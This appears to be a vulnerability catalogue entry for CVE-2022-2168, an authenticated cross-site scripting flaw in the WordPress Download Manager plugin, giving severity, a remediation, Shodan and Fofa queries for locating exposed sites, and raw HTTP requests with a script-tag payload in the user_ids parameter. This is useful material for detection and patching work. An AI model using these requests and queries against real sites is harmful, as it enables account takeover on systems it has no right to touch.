| Title | WordPress Download Manager < 3.2.44 - Authenticated Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Authenticated administrators can inject malicious JavaScript via XSS in the user_ids parameter, potentially stealing session cookies or performing unauthorized administrative actions. |
| Remediation | Update the WordPress Download Manager plugin to version 3.2.44 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00502 |
| CVE ID | CVE-2022-2168 |
| CWE ID | CWE-79 |
| Shodan Query | html:"wp-content/plugins/download-manager/" |
| Fofa Query | body="wp-content/plugins/download-manager/" |
| Tags | cve cve2022 wp wordpress wp-plugin xss download-manager authenticated vuln |
The WordPress Download Manager plugin before version 3.2.44 does not properly sanitize and escape the user_ids parameter in the stats history dashboard. This allows authenticated attackers to perform Cross-Site Scripting attacks by injecting malicious JavaScript code.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=eiCPmr&pwd=Y9SrPu&wp-submit=Log+In&testcookie=1
GET /wp-admin/edit.php?post_type=wpdmpro&page=wpdm-stats&type=history&user_ids[]=1&"><script>alert('document_domain')</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2168.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2168.pcap
N/AN/A